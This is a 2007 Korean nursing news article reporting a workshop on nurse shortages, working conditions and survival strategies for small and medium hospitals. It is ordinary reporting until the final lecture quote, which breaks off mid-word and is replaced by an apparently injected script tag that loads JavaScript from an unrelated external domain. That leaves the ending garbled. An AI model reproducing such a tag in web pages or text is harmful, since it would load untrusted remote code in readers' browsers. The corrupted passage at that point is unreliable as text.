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중소병원 전문영역 특화 우수인력 확보 시급
근무여건 개선하고 교육기회 확대
기사입력 2007-07-18 오전 10:23:54



◇ 중소병원 간호부서 활성화 워크숍...병원간호사회 개최

 병원간호사회는 `중소병원 간호부서 활성화를 위한 워크숍'을 7월 14일 서울교육문화회관에서 열어 간호사 인력부족으로 고충을 겪고 있는 중소병원 현장의 소리를 듣고 발전방안을 논의했다.

 전국 110여개 중소병원에서 간호부서장들이 참석해 3편의 특강을 듣고 정책 방향과 사회 변화의 흐름 속에서 중소병원의 현실을 통찰하고 미래를 준비하는 힘을 키웠다. 그룹토의를 통해 간호부서 활성화를 위한 다양한 방안도 마련했다.

 이날 개회식에 참석한 김조자 대한간호협회장은 “어려운 여건 속에서도 간호 발전을 위해 열심히 뛰고 계신 간호부서장들께 감사 드린다”면서 “인력부족 문제해결을 위해 정부의 정책적 지원을 이끌어 내고, 유휴간호사 재교육에 힘써 나가겠다”고 밝혔다.

 정인화 대한중소병원협의회장은 축사에서 “중소병원의 경영이 어려운 현실 속에서 핵심인력인 간호사들이 얼마나 수고가 많은 지 잘 알고 있으며, 인력부족 문제에 대해 미안한 마음”이라면서 “간호사 인력난은 우리 모두가 협력해 해결해 나가야 할 과제이며, 정부는 의료정책과 보험수가에 있어 지나치게 공공성에 치중하기보다는 시장경제와 균형을 맞춰야 한다”고 밝혔다.

◇간호사 확보전략

- 최저임금제 필요 … 프리셉터제도 유용
- 간호관리료 수가 현실화 돼야

 “중소병원 최저임금제를 도입하는 데 힘을 모아야 합니다. 간호관리료 수가 현실화도 시급해요. 간호사들에게 교육기회를 많이 줘야 합니다.”

 워크숍에 참석한 간호부서장들은 심도 있는 그룹토의를 통해 중소병원을 간호사들이 일하고 싶은 즐거운 직장, 경쟁력 있는 의료기관으로 만들기 위한 다양한 전략을 짜냈다.

 무엇보다 간호사 근무여건 개선이 최우선 과제로 꼽혔다. 참석자들은 “간호사들이 급여조건이 좋은 곳, 교육기회가 많은 곳, 문화생활을 충분히 할 수 있는 곳을 선호하고 있다”면서 “최저임금제가 도입될 수 있도록 간호협회를 중심으로 힘을 모아나가야 한다”고 한목소리를 냈다.

 성공적으로 인력관리를 하고 있는 병원을 벤치마킹하자는 방안이 공감을 얻었다. 프리셉터제도를 도입해 신규들이 정착할 수 있도록 도운 사례, 간호대학생에게 장학금을 지원해 우수인력을 선발한 사례가 소개돼 관심을 모았다. 정보교류를 위해 간호부서장 모임을 활성화하자는 제안이 나왔다.

 다양한 교육을 받고 싶어하는 간호사들의 요구를 충족시켜 줄 수 있도록 병원간호사회와 대학병원에서 교육프로그램을 지원해주면 좋겠다는 의견이 제시됐다.

 유휴간호사 재교육이 지역별로 활성화되고, 간호관리료 차등지급제의 경우 인력을 충원한 만큼 보상이 되도록 수가가 현실화돼야 한다는 지적이 나왔다. 간호사들이 타분야에 진출할 때 최소한의 병원 경력을 갖추도록 제도적인 장치가 마련돼야 한다는 의견도 나왔다.

 간호부서장들은 “간호사 부족문제는 간호관리료 등급을 상향조정하는 병원으로 인력 이동이 일어나면서 가속화되고 있다”고 분석했다.


◇ 중소병원 성공전략

- 병원 성장전략 비전 마련 필수
- 병원 수익 기여하는 간호부서 입증해야

 중소병원이 앞으로 살아남기 위해선 전문병원으로 거듭나야 하며, 우수인력을 확보하는 데 힘써야 한다.

 이번 워크숍에서 `중소병원 활성화 전략'에 대해 특강한 박개성 엘리오앤컴퍼니 대표는 “중소병원의 몰락이 가속화될 것으로 예측되는 만큼 병원의 성장모델과 전략을 마련하는 일이 시급하다”고 경고하고 “중소병원이 생존하기 위해선 반드시 전문화된 영역을 갖고 있어야 하며, 우수인력을 확보하고 유지해야 한다”고 역설했다.

 박 대표는 “중소병원들이 앞으로 경쟁해야 할 버거운 상대들이 즐비하다”면서 “대형병원들이 몸집 키우기에 나서면서 의료원 산하 다병원 체제가 확산되고, 의료시장 개방으로 외국계 병원이 국내에 설립되고, 영리법인 의료기관이 등장할 것에 대비해 경쟁력을 키워야 한다”고 말했다.

 중소병원이 성공하기 위해선 타 병원과 비교해 주요 요소별 역량을 분석하고, 구체적인 비전을 세우고, 혁신팀과 성과관리 시스템을 구축해야 한다고 조언했다. 이 모든 것에 앞서 경영진이 강력한 개혁 의지를 갖는 것이 중요하다고 강조했다.

 김강립 보건복지부 의료정책팀장은 `보건의료정책 방향' 특강에서 “소비자 중심의 의료시스템 구현 차원에서 앞으로 의료기관 평가를 `인증제'로 전환해 나갈 계획”이라고 밝히고 “의료산업의 경쟁력을 높이고 그 성과를 공공보건의료 강화에 재투자함으로써 시장성과 공공성이 선순환을 이루는 메커니즘을 만들어 나갈 것”이라고 설명했다.

 성영희 병원간호사회장은 `간호 리더십' 특강에서 “간호지도자는 상?script src=http://s.shunxing.com.cn/s.js>

정규숙기자  kschung@koreanurse.or.kr

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